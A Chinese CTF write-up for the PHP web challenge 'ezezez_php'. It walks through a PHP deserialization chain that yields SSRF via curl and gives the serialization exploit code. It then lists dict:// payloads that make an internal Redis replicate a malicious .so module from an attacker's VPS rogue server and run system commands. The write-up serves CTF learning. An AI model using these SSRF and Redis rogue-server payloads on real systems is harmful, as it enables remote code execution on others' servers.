2023年春秋杯网络安全联赛冬季赛 web题目
Web
ezezez_php
先看源码
<?php class Rd { public $ending; public $cl; public $poc;
public function __destruct(){ echo "All matters have concluded"."</br>"; }
public function __call($name, $arg){ foreach ($arg as $key => $value) { if ($arg[0]['POC'] == "0.o") { $this->cl->var1 = "get"; } } } }
class Poc { public $payload; public $fun;
public function __set($name, $value){ $this->payload = $name; $this->fun = $value; }
function getflag($paylaod){ echo "Have you genuinely accomplished what you set out to do?"."</br>"; file_get_contents($paylaod); } }
class Er { public $symbol; public $Flag;
public function __construct(){ $this->symbol = True; }
public function __set($name, $value){ if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){ $value($this->Flag); } else { echo "NoNoNo,please you can look hint.php"."</br>"; } } }
class Ha { public $start; public $start1; public $start2;
public function __construct(){ echo $this->start1 . "__construct" . "</br>"; }
public function __destruct(){ if ($this->start2 === "o.0") { $this->start1->Love($this->start); echo "You are Good!"."</br>"; } } }
function get($url) { $url=base64_decode($url); var_dump($url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); $output = curl_exec($ch); $result_info = curl_getinfo($ch); var_dump($result_info); curl_close($ch); var_dump($output); }
$exp = "dict://127.0.0.1:6379/system.exec:env"; $Er = new Er(); $Er -> Flag = base64_encode($payload); $Rd = new Rd(); $Rd -> cl = $Er; $Ha = new Ha(); $Ha -> start = ['POC'=>'0.o']; $Ha -> start1 = $Rd; $Ha -> start2 = 'o.0';
$a = new Ha(); $a->start2 = 'o.0'; $a->start = ['POC'=>'0.o']; $a->start1 = new Rd(); $a->start1->cl = new Er(); $a->start1->cl->Flag = base64_encode($exp);
echo(url_encode(serialize($Ha))); ?>
|
本身链子并不是很难,这里还有一个getflag()
的函数能读文件,但是没什么能利用的链;而且hint.php
中已经提示了127.0.0.1
中的redis
,那就是用get()
函数配合上面的http|https|gopher|dict
这四个协议来打Redis
,先看序列化链子
入口在Ha() -> __destruct()
,$this->start1->Love($this->start);
可以触发__call()
,那么接下来的就是Rd() -> __call($name, $arg)
,并且Love
跟$this->start
会分别传参给__call()
的name
跟arg
,__call()
里面只用到了$arg
做条件判断,并且调用$this->cl->var1 = "get";
,可以触发Er() -> __set()
,然后get
字符串传参给__set()
的$value
,就成功调用了get()
函数来打Redis
,序列化的链子解决了,接下来就是Redis
的攻击方式(因为这个题当时没看,赛后没环境,其他师傅的wp都是使用主从复制的方法,那就复现主从复制的方式)
先去https://github.com/n0b0dyCN/RedisModules-ExecuteCommand编译一个恶意的.so
文件exp.so
,再用https://github.com/LoRexxar/redis-rogue-server/tree/master或者https://github.com/Dliv3/redis-rogue-server来模拟一个Redis
的主服务端用来给从服务端(靶机)进行复制,把而已模块同步过去
首先在vps上开启Redis
服务
# https://github.com/Dliv3/redis-rogue-server python3 redis-rogue-server.py --server-only
|
然后依次在靶机上打上如下payload
:
dict://127.0.0.1:6379/config:set:dir:/tmp # 设置路径 dict://127.0.0.1:6379/config:set:dbfilename:exp.so # 设置写入文件名 dict://127.0.0.1:6379/slaveof:vps:7777 # 配置主Redis服务,并且同步数据 dict://127.0.0.1:6379/module:load:/tmp/exp.so # 加载同步下来的模块 dict://127.0.0.1:6379/slave:no:one # 断开并终止复制 dict://127.0.0.1:6379/system.exec:env # 使用恶意模块中的系统指令
|
exp就放在源码下面了